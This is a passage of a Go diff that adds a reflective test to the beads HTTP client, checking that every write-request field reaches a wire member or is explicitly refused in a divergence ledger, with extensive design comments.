apigen.ApplyUpdateItem publishes + // force_notes_overwrite exactly as it publishes the other two, and it is + // sent only when true, the same as them. + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` } // ApplyItem is one item of a plan: a `kind` and exactly one payload naming it. diff --git a/internal/httpclient/wire/writes_twospeed_test.go b/internal/httpclient/wire/writes_twospeed_test.go index da2799032..9af579526 100644 --- a/internal/httpclient/wire/writes_twospeed_test.go +++ b/internal/httpclient/wire/writes_twospeed_test.go @@ -82,7 +82,7 @@ func writeOps() []writeOp { return err }}, {OpUpdateIssue, func(ctx context.Context, c *Client) error { - _, err := c.UpdateIssue(ctx, "bd-1", "w", map[string]any{"title": "t"}, UpdateGuards{}) + _, err := c.UpdateIssue(ctx, "bd-1", "w", map[string]any{"title": "t"}, UpdateGuards{}, UpdateFlags{}) return err }}, {OpCreateIssue, func(ctx context.Context, c *Client) error { diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go new file mode 100644 index 000000000..cac9105ad --- /dev/null +++ b/internal/httpclient/write_ledger_test.go @@ -0,0 +1,1092 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/write_ledger_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "fmt" + "reflect" + "sort" + "strings" + "testing" + "unicode" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// The WRITE door's refuse-not-drop completeness guard — the counterpart of the +// encoder bijection the read door already has (encode/bijection_test.go). +// +// The read gate cannot cover this half and says so: its rows are query +// parameters, and it explicitly exempts "rows about the WRITE shapes" because +// "this package encodes no request bodies". That exemption left the write side +// with a promise and no check. D8's refuse-not-drop enumeration — "every +// role-request field the wire has no member for" — was a list somebody wrote +// down, so a member added to issueops tomorrow would be silently DROPPED by +// every write role in this package, which is the one failure class no +// server-side gate can observe: the server rejects only what it receives. +// +// The gate runs three ways, and each catches a different staleness: +// +// source -> wire every populatable field of every write shape either +// names a member of the wire body that carries it, is +// routed some other way, or has a divergence-ledger row +// refusing it. There is no fourth arm. +// wire -> source every member the wire body publishes is driven by a +// field. A member nobody drives is a write this client +// cannot make and has not admitted to. +// ledger -> source every write-shape ledger row still names a field this +// table treats as excluded. A row for a field that +// started serving is a leftover that would make an audit +// of "is this refusal real?" unanswerable. +// +// It lives in this package rather than beside the ledger because the ledger's +// package deliberately does not import apigen or the role bodies, and because +// the encoded patch document — which is not a struct at all — can only be +// driven from here. + +// carriage says how one field of a role request reaches the server. +// +// Exactly one of member and routed is set. A field that is in neither state is +// not in this table at all, and that is the statement "the wire has no place for +// it" — which is what obliges a ledger row. +type carriage struct { + // member is the JSON member of the wire body that carries the field. + member string + // spread is the members a field that FLATTENS carries, in place of member. + // + // createIssue is the whole population and the shape is the reason: it + // publishes the create vocabulary at the top LEVEL of one flat body, so + // CreateRequest.Issue — a whole types.Issue — drives twenty members of it + // rather than one. batchCreateIssues has the same flattening and does not + // need this, because its item is a nested body with a shape row of its own; + // a create has no nesting to hang one on. + // + // It is not a way to leave the population unchecked. Every name here must + // be published, a member absent from every field's spread is still + // unreachable, and the per-member completeness against types.Issue is a + // different question held by a different gate — the reflective sweep the + // partial row below cites. + spread []string + // routed names the non-body route, with the reason. The id that becomes a + // path segment is the whole population today. + routed string + // partial cites the ledger row for the SHAPE of this field the member + // cannot carry, on a field that is carried in one shape and refused in + // another. Labels are one: the member is a whole-set replace, so an + // incremental add or remove has no expression. CreateRequest.Issue is the + // other, and its excluded shape is a set of MEMBERS rather than a mode. + partial string +} + +func member(name string) carriage { return carriage{member: name} } + +func spread(names ...string) carriage { return carriage{spread: names} } + +// members lists every wire member a carriage drives, whichever way it drives +// them, so the two directions of the gate read one accessor. +func (c carriage) members() []string { + if c.member != "" { + return []string{c.member} + } + return c.spread +} + +// writeShape is one role-request shape and the wire body that carries it. +type writeShape struct { + name string + source reflect.Type + body reflect.Type + // carried is the classification. A populatable field absent from it must + // have a KindRefuse ledger row naming source.field. + carried map[string]carriage + // pending maps a wire member this client does not send YET to the field it + // would drive. It is the fourth state the wire -> source arm needs, and it + // arrived from upstream rather than from a decision here: a member the + // document did not publish when the refusal was written, and does now. + // + // It is NOT a way to leave a member unaccounted for. The field it names + // must still carry a KindRefuse row — so the refusal is ledgered, pinned + // and auditable exactly as before — and the row's reason has to say the + // wire publishes the member, because the alternative is a ledger that + // argues from a document that has moved on. + // + // A member reaches this map only by upstream publishing it under an + // existing refusal. Teaching the client to send one is a FLIP: the entry + // moves to carried, the ledger row retires, and the pin that asserts the + // refusal becomes a pin that asserts the round trip. + pending map[string]string +} + +const pathRoute = "the {id} path segment; a body member for it would be a second, contradictable spelling of the resource" + +// writeShapes enumerates every request body this client puts on the wire. +// +// The list is checked for completeness against WriteWire itself +// (TestEveryWriteWireBodyIsClassified), so an operation added to the transport +// seam cannot arrive here unclassified. +func writeShapes() []writeShape { + return []writeShape{ + { + name: "claimIssue", + source: reflect.TypeOf(issueops.ClaimRequest{}), + body: reflect.TypeOf(apigen.ClaimRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + }, + }, + { + // The whole vocabulary of a single create, FLAT: this operation + // publishes the issue's own members at the top level of its request + // rather than nesting them, which is what the Issue spread below is + // about. + name: "createIssue", + source: reflect.TypeOf(issueops.CreateRequest{}), + body: reflect.TypeOf(apigen.CreateIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Issue": { + spread: []string{ + "id", "title", "description", "design", "acceptance_criteria", + "notes", "status", "priority", "issue_type", "assignee", "owner", + "estimated_minutes", "external_ref", "due_at", "defer_until", + "sender", "metadata", "labels", "ephemeral", "no_history", + }, + // The members of a types.Issue this vocabulary does NOT + // spell — the creation stamp, the workflow and + // classification plumbing — refuse per member. + partial: "W-CreateRequest.Issue", + }, + "ParentID": member("parent_id"), + "InheritLabelsFromParent": member("inherit_labels_from_parent"), + "Dependencies": member("dependencies"), + "WaitsFor": member("waits_for"), + "ForceIDPrefix": member("force_id_prefix"), + }, + }, + { + name: "closeIssue", + source: reflect.TypeOf(issueops.CloseRequest{}), + body: reflect.TypeOf(apigen.CloseIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Reason": member("reason"), + "Session": member("session"), + "Force": member("force"), + // The wire wave published closeIssue's row-version guard + // (#5506) and the client wave sends it (ga-jbuyf), so it left + // the pending set for this one. + "ExpectedVersion": member("expected_version"), + }, + }, + { + // The claim's inverse, and a TOTAL mapping: four request members, + // three body members and the path. Nothing refuses on shape, so + // there is no partial row and no W- entry — the same clean sheet + // compareAndSetMetadata has, reached for the opposite reason (that + // request is wide and fully published; this one is narrow). + name: "releaseIssue", + source: reflect.TypeOf(issueops.ReleaseRequest{}), + body: reflect.TypeOf(apigen.ReleaseIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + // The compare-and-set on the HOLDER. It is a pointer on both + // sides and for one reason: absent selects the unconditional + // path and empty is a refusal, so a request cannot spell "do + // not check" any other way. + "ExpectedAssignee": member("expected_assignee"), + "Force": member("force"), + }, + }, + { + // The narrowest body on the surface, and the only one whose ANCHOR + // is a path segment of a SUB-RESOURCE rather than of the resource + // itself. `author` is not `actor` and the gate reads it as its own + // member: the value is stored on the row and read back by everyone + // who sees the thread, where an actor is who a mutation is + // attributed to. + name: "addComment", + source: reflect.TypeOf(issueops.AddCommentRequest{}), + body: reflect.TypeOf(apigen.AddCommentRequest{}), + carried: map[string]carriage{ + "Author": member("author"), + "IssueID": {routed: pathRoute}, + "Text": member("text"), + }, + }, + { + name: "reopenIssue", + source: reflect.TypeOf(issueops.ReopenRequest{}), + body: reflect.TypeOf(apigen.ReopenIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Reason": member("reason"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + name: "updateIssue", + source: reflect.TypeOf(issueops.UpdateRequest{}), + body: reflect.TypeOf(apigen.UpdateIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Patch": member("patch"), + // The guard trio of upstream #5484, now sent. They ride at the + // body's top level rather than inside the patch document, which + // is where the server reads them. + "ExpectedVersion": member("expected_version"), + "ExpectedStatus": member("expected_status"), + "ExpectedAssignee": member("expected_assignee"), + // The third member of the FORCE trio, now sent (S3 + // reconciliation, 2026-10): the single-patch + // updateIssue body carries `force_notes_overwrite` exactly as + // issues:batchApply's update item already did, so the fence a + // caller means to bypass is bypassable here too. + // W-UpdateRequest.ForceNotesOverwrite is RETIRED, not deleted — + // it records that this member was found unwired and then wired. + "ForceNotesOverwrite": member("force_notes_overwrite"), + // The other two FORCE members, and the claim, followed it (the + // #7247 review port): each was published — the force pair by + // upstream #5484, `claim` by upstream #6890 — and refused only + // by this client. Their rows are RETIRED the same way. A claim + // ALONE against a server that predates `claim` still reaches + // claimIssue instead, as a fallback on that server's skew + // refusal (see claimOnlyUpdate); against a current one it is + // this body. + "ForceAssigneeTransfer": member("force_assignee_transfer"), + "ForceClosePolicy": member("force_close_policy"), + "Claim": member("claim"), + }, + }, + { + // The nested document. Its members are the wire's allowlist, and + // TestTheEncodedPatchDocumentUsesOnlyPublishedMembers drives the + // encoder against it — a struct comparison alone would not, since + // the client builds this one as a map. + name: "updateIssue/patch", + source: reflect.TypeOf(issueops.IssuePatch{}), + body: reflect.TypeOf(apigen.IssuePatchBody{}), + carried: map[string]carriage{ + "Title": member("title"), + "Description": member("description"), + "Design": member("design"), + "AcceptanceCriteria": member("acceptance_criteria"), + "Notes": member("notes"), + "AppendNotes": member("append_notes"), + "Priority": member("priority"), + "IssueType": member("issue_type"), + "EstimatedMinutes": member("estimated_minutes"), + "ExternalRef": member("external_ref"), + "DueAt": member("due_at"), + "DeferUntil": member("defer_until"), + // THE ORDERED EDIT, whole: one field driving three members, which + // is what `spread` is for. `labels` replaces, `add_labels` adds + // and `remove_labels` removes, applied in that order so removal + // wins — the role's own algebra, and the same three the batchApply + // shape has carried since client wave ga-mijra. + "Labels": spread("labels", "add_labels", "remove_labels"), + // The patch half of upstream #5484, carried by client wave + // ga-7i6by. They left the pending set below with their W- rows. + "Status": member("status"), + "Assignee": member("assignee"), + "ParentID": member("parent_id"), + "Metadata": member("metadata"), + }, + // NOTHING IS PENDING, and the set is empty rather than absent for the + // reason the second list in accessors.go was: it held the two + // incremental-label members #5510 published under an existing refusal, + // and client wave ga-jpywb moved both into `carried` — which is what + // the map documents a flip as. The next member upstream publishes + // under a live W- row starts it again. + }, + { + // The nested metadata document, and the reason it is a shape of its + // own rather than a line in its parent: `metadata` is ONE member up + // there, and the four arms of the algebra under it are four fields + // of a role type that can grow. Classifying them here is what makes + // a fifth arm added to MetadataPatch fail closed instead of being + // dropped by an encoder that never learned about it. + // + // It is TOTAL in both directions. What diverges is not a member: it + // is the replace-plus-incremental contradiction, which both sides + // refuse as a validation failure writing nothing, so there is no + // row to carry. + name: "updateIssue/patch/metadata", + source: reflect.TypeOf(issueops.MetadataPatch{}), + body: reflect.TypeOf(apigen.ApplyMetadataPatch{}), + carried: map[string]carriage{ + "Replace": member("replace"), + "Merge": member("merge"), + "Set": member("set"), + "Unset": member("unset"), + }, + }, + { + // TOTAL in both directions, and the one write on this surface whose + // refusal is a 200: a lost race is `swapped: false` with the value + // that refused it, so nothing about the verdict is a request member + // and no W- row names one. + name: "compareAndSetMetadata", + source: reflect.TypeOf(issueops.CompareAndSetKeyRequest{}), + body: reflect.TypeOf(apigen.CompareAndSetMetadataRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Key": member("key"), + "Expected": member("expected"), + "Value": member("value"), + }, + }, + { + name: "addDependencies", + source: reflect.TypeOf(issueops.AddDependenciesRequest{}), + body: reflect.TypeOf(apigen.AddDependenciesRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Edges": member("edges"), + }, + }, + { + name: "addDependencies/edge", + source: reflect.TypeOf(issueops.DependencyEdge{}), + body: reflect.TypeOf(apigen.DependencyEdge{}), + carried: map[string]carriage{ + "IssueID": member("issue_id"), + "DependsOnID": member("depends_on_id"), + "Type": member("type"), + }, + }, + { + name: "removeDependency", + source: reflect.TypeOf(issueops.RemoveDependencyRequest{}), + body: reflect.TypeOf(apigen.RemoveDependencyRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": member("issue_id"), + "DependsOnID": member("depends_on_id"), + }, + }, + { + // NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest has + // no member for ProtectLiveDependents or Limit, so both are absent + // from carried below and the source -> wire arm obliges the two + // W-SweepRequest rows (W-SweepRequest.ProtectLiveDependents, + // W-SweepRequest.Limit) rather than a member. + name: "sweepIssues", + source: reflect.TypeOf(issueops.SweepRequest{}), + body: reflect.TypeOf(apigen.SweepRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Tier": member("tier"), + "ClosedBefore": member("closed_before"), + "IDPattern": member("pattern"), + "ProtectReferenced": member("protect_referenced"), + "DryRun": member("dry_run"), + }, + }, + { + // Total too. What diverges on the delete is its REFUSAL vocabulary + // (L-delete-notfound, L-delete-dependents), which is a response + // shape rather than a request member and so is not this gate's. + name: "deleteIssues", + source: reflect.TypeOf(issueops.DeleteRequest{}), + body: reflect.TypeOf(apigen.DeleteIssuesRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IDs": member("ids"), + "Cascade": member("cascade"), + "Force": member("force"), + "DryRun": member("dry_run"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + name: "batchCreateIssues", + source: reflect.TypeOf(issueops.CreateBatchRequest{}), + body: reflect.TypeOf(apigen.BatchCreateRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + }, + }, + { + // The item's ISSUE half is not classified here, and cannot be: it + // is a whole types.Issue flattened onto eight members of this same + // body, so a shape row would claim one member for a field that + // spreads across eight. TestBatchCreateRefusesEveryMemberTheWireExcludes + // owns that population instead, reflectively and exhaustively. + name: "batchCreateIssues/dependency", + source: reflect.TypeOf(issueops.CreateDependency{}), + body: reflect.TypeOf(apigen.BatchCreateDependency{}), + carried: map[string]carriage{ + "TargetID": member("target_id"), + "Type": member("type"), + }, + }, + { + // ClaimNext has no wire member at all: OSS's apigen.BatchCloseRequest + // publishes actor, items, session and force only, with no composed + // claim_next object for a *ReadyRequest to encode into. It is absent + // from carried below, so the wire->source arm obliges a KindRefuse + // ledger row naming CloseBatchRequest.ClaimNext + // (W-CloseBatchRequest.ClaimNext) rather than a member. + name: "batchCloseIssues", + source: reflect.TypeOf(issueops.CloseBatchRequest{}), + body: reflect.TypeOf(apigen.BatchCloseRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + "Session": member("session"), + "Force": member("force"), + }, + }, + { + name: "batchCloseIssues/item", + source: reflect.TypeOf(issueops.BatchCloseItem{}), + body: reflect.TypeOf(apigen.BatchCloseItem{}), + carried: map[string]carriage{ + "IssueID": member("id"), + "Reason": member("reason"), + }, + }, + { + // The plan. TOTAL in both directions: every member of the role's + // request has a wire member, which is unusual on this surface and + // is the operation rather than luck — the document was written from + // the role. + name: "applyBatch", + source: reflect.TypeOf(issueops.ApplyBatchRequest{}), + body: reflect.TypeOf(apigen.ApplyBatchRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + "Provenance": member("provenance"), + "ForceIDPrefix": member("force_id_prefix"), + "SkipPerEdgeCycleCheck": member("skip_per_edge_cycle_check"), + }, + }, + { + // The tagged item. Kind drives the tag; the four payloads drive the + // four optional members, and the AGREEMENT between them is what no + // schema can state and the role checks by hand — see + // TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell. + name: "applyBatch/item", + source: reflect.TypeOf(issueops.ApplyItem{}), + body: reflect.TypeOf(apigen.ApplyItem{}), + carried: map[string]carriage{ + "Kind": member("kind"), + "Create": member("create"), + "Update": member("update"), + "Close": member("close"), + "DepAdd": member("dep_add"), + }, + }, + { + // The create item, whose Issue SPREADS over the wire's twenty for + // createIssue's reason: this payload publishes the create + // vocabulary at its own top level rather than nesting it. The + // per-member completeness against types.Issue is the reflective + // sweep the partial row cites, shared with the single create. + name: "applyBatch/item/create", + source: reflect.TypeOf(issueops.CreateItem{}), + body: reflect.TypeOf(apigen.ApplyCreateItem{}), + carried: map[string]carriage{ + "Key": member("key"), + "Issue": { + spread: []string{ + "id", "title", "description", "design", "acceptance_criteria", "notes", + "status", "priority", "issue_type", "assignee", "owner", "estimated_minutes", + "external_ref", "due_at", "defer_until", "sender", "metadata", "labels", + "ephemeral", "no_history", + }, + partial: "W-CreateItem.Issue", + }, + "MetadataRefs": member("metadata_refs"), + }, + }, + { + // The update item. It carries every FORCE member updateIssue does: + // this operation publishes them per item, so a plan can express + // what a single patch over this wire can. + name: "applyBatch/item/update", + source: reflect.TypeOf(issueops.UpdateItem{}), + body: reflect.TypeOf(apigen.ApplyUpdateItem{}), + carried: map[string]carriage{ + "Target": member("target"), + "Patch": member("patch"), + "ExpectedVersion": member("expected_version"), + "ExpectedStatus": member("expected_status"), + "ExpectedAssignee": member("expected_assignee"), + "ForceClosePolicy": member("force_close_policy"), + "ForceAssigneeTransfer": member("force_assignee_transfer"), + // All three force flags are published here (S3 reconciliation, + // 2026-10 — batchapplier.go now sends it + // exactly as it sends the other two). + "ForceNotesOverwrite": member("force_notes_overwrite"), + }, + }, + { + // The update item's patch DOCUMENT, and the second shape in this + // table sourced from issueops.IssuePatch. The two allowlists differ + // in both directions — owner is published here and not there, + // parent_id there and not here — which is why the gate below reads + // every shape over a source rather than one. + name: "applyBatch/update/patch", + source: reflect.TypeOf(issueops.IssuePatch{}), + body: reflect.TypeOf(apigen.ApplyPatchBody{}), + carried: map[string]carriage{ + "Title": member("title"), + "Description": member("description"), + "Design": member("design"), + "AcceptanceCriteria": member("acceptance_criteria"), + "Notes": member("notes"), + "AppendNotes": member("append_notes"), + "Priority": member("priority"), + "IssueType": member("issue_type"), + "Status": member("status"), + "Assignee": member("assignee"), + "Owner": member("owner"), + "EstimatedMinutes": member("estimated_minutes"), + "ExternalRef": member("external_ref"), + "DueAt": member("due_at"), + "DeferUntil": member("defer_until"), + // The full ordered edit rather than updateIssue's replace-only + // member, so there is no partial row here: a removal IS + // expressible on this document. + "Labels": member("labels"), + "Metadata": member("metadata"), + }, + }, + { + // The label edit, a shape of its own for the reason the metadata + // patch is one: `labels` is ONE member up there, and the three arms + // under it are three fields of a role type that can grow. It is + // total in both directions. + name: "applyBatch/update/patch/labels", + source: reflect.TypeOf(issueops.LabelPatch{}), + body: reflect.TypeOf(apigen.ApplyLabelPatch{}), + carried: map[string]carriage{ + "Replace": member("replace"), + "Add": member("add"), + "Remove": member("remove"), + }, + }, + { + // The close item. TOTAL, including the row-version guard, and + // deliberately without an expected_status on either side. + name: "applyBatch/item/close", + source: reflect.TypeOf(issueops.CloseItem{}), + body: reflect.TypeOf(apigen.ApplyCloseItem{}), + carried: map[string]carriage{ + "Target": member("target"), + "Reason": member("reason"), + "Session": member("session"), + "Force": member("force"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + // The edge item. The gate normalization a waits-for edge gets is + // the ROLE's and travels inside the blob. HasSpawner and ThreadID + // have no wire member, so they are absent from carried below and + // refuse under W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. + name: "applyBatch/item/dep_add", + source: reflect.TypeOf(issueops.DepAddItem{}), + body: reflect.TypeOf(apigen.ApplyDepAddItem{}), + carried: map[string]carriage{ + "Source": member("source"), + "Target": member("target"), + "Type": member("type"), + "Metadata": member("metadata"), + }, + }, + { + // The ref. TOTAL — and the EXACTLY-ONE rule the schema cannot state + // is behavior rather than a member, refused client-side before the + // dial. + name: "applyBatch/ref", + source: reflect.TypeOf(issueops.Ref{}), + body: reflect.TypeOf(apigen.Ref{}), + carried: map[string]carriage{ + "Key": member("key"), + "ID": member("id"), + }, + }, + } +} + +// TestEveryWireExcludedWriteMemberCarriesALedgerRow is the source -> wire +// direction: the one that fails when a field is added to issueops and this +// client starts dropping it. +func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { + shapes := writeShapes() + if len(shapes) == 0 { + t.Fatal("no write shapes are classified; there is nothing for this gate to check") + } + + rows := ledgerRowsByField(t) + for _, shape := range shapes { + t.Run(shape.name, func(t *testing.T) { + members := bodyMembers(t, shape.body) + + for name, how := range shape.carried { + if _, ok := shape.source.FieldByName(name); !ok { + t.Errorf("%s classifies %s.%s, which does not exist — the field was renamed or removed", + shape.name, shape.source.Name(), name) + continue + } + ways := 0 + for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != ""} { + if set { + ways++ + } + } + switch { + case ways > 1: + t.Errorf("%s.%s claims more than one of a body member, a spread and a route; it has exactly one", shape.source.Name(), name) + case ways == 0: + t.Errorf("%s.%s is in the carried table with neither a member nor a route", shape.source.Name(), name) + default: + for _, wireMember := range how.members() { + if !members[wireMember] { + t.Errorf("%s.%s claims wire member %q, which %s does not publish: %v", + shape.source.Name(), name, wireMember, shape.body.Name(), sortedKeys(members)) + } + } + } + if how.partial != "" { + checkRefusalRow(t, rows, shape.source, name, how.partial) + } + } + + for _, name := range populatableFields(shape.source) { + if _, ok := shape.carried[name]; ok { + continue + } + row, ok := rows[fieldKey{shape.source, name}] + if !ok { + t.Errorf("%s.%s reaches no wire member and has no divergence-ledger row.\n"+ + "Carry it in the %s table, or refuse it with a W- row — a write member this client drops is an edit "+ + "the caller believes landed. See the refuse-not-drop rows and L12 in the in-repo divergence ledger, "+ + "engdocs/design/http-divergence-ledger.md.", + shape.source.Name(), name, shape.name) + continue + } + if row.Kind != encode.KindRefuse { + t.Errorf("%s: ledger row %s is %q; a wire-excluded write member must REFUSE, never degrade", + shape.name, row.ID, row.Kind) + } + } + }) + } +} + +// TestEveryWireBodyMemberIsDrivenByARequestField is the wire -> source +// direction. A member the document publishes that no field drives is a write +// this client cannot make, and the ledger has no row for it because nothing +// refused anything — it is simply unreachable. +func TestEveryWireBodyMemberIsDrivenByARequestField(t *testing.T) { + for _, shape := range writeShapes() { + t.Run(shape.name, func(t *testing.T) { + driven := map[string]string{} + for name, how := range shape.carried { + for _, wireMember := range how.members() { + if other, dup := driven[wireMember]; dup { + t.Errorf("%s and %s both drive wire member %q", other, name, wireMember) + } + driven[wireMember] = name + } + } + rows := ledgerRowsByField(t) + for wireMember := range bodyMembers(t, shape.body) { + if driven[wireMember] != "" { + continue + } + field, deferred := shape.pending[wireMember] + if !deferred { + t.Errorf("%s publishes %q and no field of %s drives it; that member is unreachable from this client.\n"+ + "Carry it in the %s table, or — if the wire only just published it under an existing refusal — name the refused field in that table's pending set", + shape.body.Name(), wireMember, shape.source.Name(), shape.name) + continue + } + // A pending member is only accounted for while its field is + // still refused. The day the field starts serving without the + // member being carried, this fails rather than going quiet. + checkRefusalRowExists(t, rows, shape.source, field, wireMember) + } + for wireMember, field := range shape.pending { + if driven[wireMember] != "" { + t.Errorf("%s.%s is both carried and pending on %q; a member is one or the other", + shape.source.Name(), field, wireMember) + } + if !bodyMembers(t, shape.body)[wireMember] { + t.Errorf("%s names pending member %q, which %s does not publish; the entry outlived the member", + shape.name, wireMember, shape.body.Name()) + } + } + }) + } +} + +// checkRefusalRowExists is checkRefusalRow without a caller-supplied row id: +// the pending set names a FIELD, and what has to hold is that the ledger still +// refuses it under some row. +func checkRefusalRowExists(t *testing.T, rows map[fieldKey]encode.Row, owner reflect.Type, field, wireMember string) { + t.Helper() + row, ok := rows[fieldKey{owner, field}] + if !ok { + t.Errorf("wire member %q is pending on %s.%s, which carries no divergence-ledger row; a member nobody sends and nobody refused is unaccounted for", + wireMember, owner.Name(), field) + return + } + if row.Kind != encode.KindRefuse { + t.Errorf("wire member %q is pending on %s.%s, whose ledger row %s is %q; a member this client does not send must REFUSE the field, never degrade it", + wireMember, owner.Name(), field, row.ID, row.Kind) + } +} + +// TestNoWriteLedgerRowSurvivesTheFieldItRefuses is the ledger -> source +// direction: a W- row whose field started serving, or stopped existing. +// +// The rows this owns are exactly the ones encode/bijection_test.go exempts — +// "rows about the WRITE shapes are deliberately exempt: this package encodes no +// request bodies" — so between the two gates every field-shaped row in the +// ledger is now held to a table. +// ONE SOURCE TYPE MAY HAVE SEVERAL SHAPES, and since client wave ga-mijra one +// does: issueops.IssuePatch is the body of updateIssue's patch document AND of +// an issues:batchApply update item's, and the two allowlists differ in BOTH +// directions — `owner` is published by the batch's and not the single patch's, +// `parent_id` by the single patch's and not the batch's. So a row is a leftover +// only when EVERY shape over its source carries the field; a row refusing a +// field one shape carries and another refuses is the whole point of having two. +func TestNoWriteLedgerRowSurvivesTheFieldItRefuses(t *testing.T) { + shapes := map[reflect.Type][]writeShape{} + for _, shape := range writeShapes() { + shapes[shape.source] = append(shapes[shape.source], shape) + } + + var seen int + for _, row := range encode.Ledger() { + if row.Type == nil { + continue + } + over, ok := shapes[row.Type] + if !ok { + continue // a read shape; the encoder bijection owns it. + } + // A RETIRED row is not a leftover, it is the record OF one: it says the + // wire published the member and this client now sends it, so "every + // shape carries the field" is precisely the state it describes. It keeps + // its Type and Field rather than dropping them — the reflect.Type binding + // is what makes a renamed field a compile error instead of a stale string + // — so the skip is by KIND and not by an absent coordinate. + if row.Kind == encode.KindRetired { + continue + } + seen++ + var carriedBy []string + for _, shape := range over { + how, carried := shape.carried[row.Field] + switch { + case !carried: + // The ordinary case: an excluded field with its row. + case how.partial == row.ID: + // The partial case: carried in one SHAPE, refused in one MODE. + default: + carriedBy = append(carriedBy, fmt.Sprintf("%s as %v", shape.name, how.members())) + } + } + if len(carriedBy) == len(over) { + t.Errorf("ledger row %s refuses %s.%s, which every shape over that type carries: %s.\n"+ + "Either the row is a leftover from before the member landed, or the table is wrong.", + row.ID, row.Type.Name(), row.Field, strings.Join(carriedBy, "; ")) + } + } + if seen == 0 { + t.Fatal("no write-shape ledger rows were found; either the W- population was deleted or the shape types moved") + } +} + +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers drives the real encoder. +// +// The patch is the one write body this client builds as a DOCUMENT rather than +// a struct — presence is the signal and an explicit null is the clear, which no +// struct of `omitempty` pointers can express — so the compiler checks nothing +// about its member names. A typo would produce a 400 from a live server and +// pass every test in this package that does not dial one. +func TestTheEncodedPatchDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.IssuePatchBody{})) + + patch := issueops.IssuePatch{} + setEvery := reflect.ValueOf(&patch).Elem() + var wantMembers []string + for name, how := range patchShape(t).carried { + setPatchField(t, setEvery.FieldByName(name)) + // members() rather than .member, because one field can drive several: + // the ordered label edit is three flat siblings on this body, and reading + // the singular would have wanted an empty name and missed two. + wantMembers = append(wantMembers, how.members()...) + } + + document, err := encodeIssuePatch(patch) + if err != nil { + t.Fatalf("a patch setting every carried member refused: %v", err) + } + for name := range document { + if !published[name] { + t.Errorf("the encoded patch carries %q, which IssuePatchBody does not publish: %v", + name, sortedKeys(published)) + } + } + sort.Strings(wantMembers) + got := sortedKeys(toSet(document)) + if strings.Join(got, ",") != strings.Join(wantMembers, ",") { + t.Errorf("the encoded patch carries\n %v\nwant the table's carried members\n %v", got, wantMembers) + } +} + +// TestEveryWriteWireBodyIsClassified keeps the table above from going stale by +// omission: a write operation added to the transport seam with no entry here +// would leave its request shape entirely unguarded, and nothing else would say +// so. +// +// It reflects WriteWire's REAL method set rather than a hand-copied name slice, +// so a write method added to the transport seam tomorrow cannot escape the guard +// by being left off a second list — the failure the hand-copied version could +// not see. +func TestEveryWriteWireBodyIsClassified(t *testing.T) { + classified := map[string]bool{} + for _, shape := range writeShapes() { + classified[shape.name] = true + } + + // The WriteWire methods that carry NO request body to classify, each with the + // reason. They are excluded by SHAPE, not by choice: RecallMemory, ForgetMemory + // and ListMemories take a path or a query only, ListReadyWork takes a query, + // and RememberMemory's body is memoryops' own type, pinned by the memory role's + // own contract. The set is held to the real interface below, so a rename cannot + // leave a phantom that silences a future body. + bodiless := map[string]string{ + "RememberMemory": "carries memoryops.RememberRequest, pinned by the memory role's own contract", + "RecallMemory": "takes a key path only", + "ForgetMemory": "takes a key path only", + "ListMemories": "takes a search query only", + "ListReadyWork": "takes a url.Values query only", + // The one method whose body is a SCALAR and whose interesting half is a + // query. apigen.ClaimNextRequest publishes `actor` and nothing else — the + // operation says so in as many words — so there is no role struct to + // partition and no member a shape could hide. What COULD hide a dropped + // member is the filter, and that travels as the ready listing's query + // string through the ready encoder table, which the bijection gate above + // already owns. Classifying a one-scalar body here would add a row that + // can only ever say "actor is carried". + "ClaimNextIssue": "carries apigen.ClaimNextRequest, whose only member is the actor; the FILTER travels as listReadyWork's query and is owned by the encoder bijection", + } + + wireType := reflect.TypeOf((*WriteWire)(nil)).Elem() + if wireType.NumMethod() == 0 { + t.Fatal("WriteWire reflects no methods; the write door would be unguarded") + } + checked := 0 + for i := range wireType.NumMethod() { + method := wireType.Method(i).Name + if _, excluded := bodiless[method]; excluded { + continue + } + checked++ + op := lowerFirst(method) + if !classified[op] { + t.Errorf("WriteWire.%s puts a body on the wire and no writeShape classifies it (op %q): "+ + "add it to writeShapes, or exclude it by shape in bodiless with a reason", method, op) + } + } + if checked == 0 { + t.Fatal("every WriteWire method was excluded; the reflective guard checked nothing") + } + + // The exclusion list cannot outlive its methods: a name here that WriteWire no + // longer declares is a stale phantom that would silence a future body reusing it. + for name, why := range bodiless { + if _, ok := wireType.MethodByName(name); !ok { + 